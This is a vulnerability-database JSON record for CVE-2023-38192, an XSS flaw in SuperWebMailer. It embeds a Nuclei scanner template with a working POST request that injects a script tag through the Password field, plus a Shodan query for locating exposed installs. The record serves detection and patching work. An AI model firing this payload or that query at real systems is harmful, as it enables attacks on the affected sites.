{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2023-38192/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2023-38192/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2023-38192/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2023-38192/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2023-38192/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2023-38192"},"sightings":{"href":"/api/v1/sightings/cve-2023-38192"}},"enrichments":{"cisa-kev":{"kev":false},"epss":{"epss":0.01107,"kev":false,"percentile":0.64374},"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2023/CVE-2023-38192.yaml","nuclei_template_severity":"medium","nuclei_template_yaml":"id: CVE-2023-38192\n\ninfo:\n  name: SuperWebMailer 9.00.0.01710 - Cross-Site Scripting\n  author: ritikchaddha\n  severity: medium\n  description: |\n    An issue was discovered in SuperWebMailer 9.00.0.01710 allowing XSS via crafted incorrect passwords.\n  impact: |\n    Successful exploitation could lead to unauthorized access or data theft.\n  remediation: |\n    Implement input validation and output encoding to prevent XSS attacks.\n  reference:\n    - https://herolab.usd.de/security-advisories/usd-2023-0011/\n    - https://herolab.usd.de/security-advisories/\n    - https://nvd.nist.gov/vuln/detail/CVE-2023-38192\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N\n    cvss-score: 6.1\n    cve-id: CVE-2023-38192\n    cwe-id: CWE-79\n    epss-score: 0.01107\n    epss-percentile: 0.64374\n    cpe: cpe:2.3:a:superwebmailer:superwebmailer:9.00.0.01710:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: superwebmailer\n    product: superwebmailer\n    shodan-query: title:\"SuperWebMailer\"\n  tags: cve,cve2023,superwebmailer,xss,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        POST /superadmincreate.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        Password=a\"><script>alert(document.domain);</script>&PasswordAgain=b&Language=de&SubmitBtn=Nutzer+erstellen\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - 'Password\" value=\"a\"><script>alert(document.domain);</script>'\n          - 'SuperWebMailer'\n        condition: and\n        case-insensitive: true\n\n      - type: word\n        part: content_type\n        words:\n          - 'text/html'\n\n      - type: status\n        status:\n          - 200\n# digest: 490a0046304402200fd97ebd0805e43f6cefa840db595d2da57afa06f625dd3548af2c6c71a732af0220384bc9be180b3434994bf08274d3ff2637f8b6866148d355f6eb43d026051d13:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2023-38192"}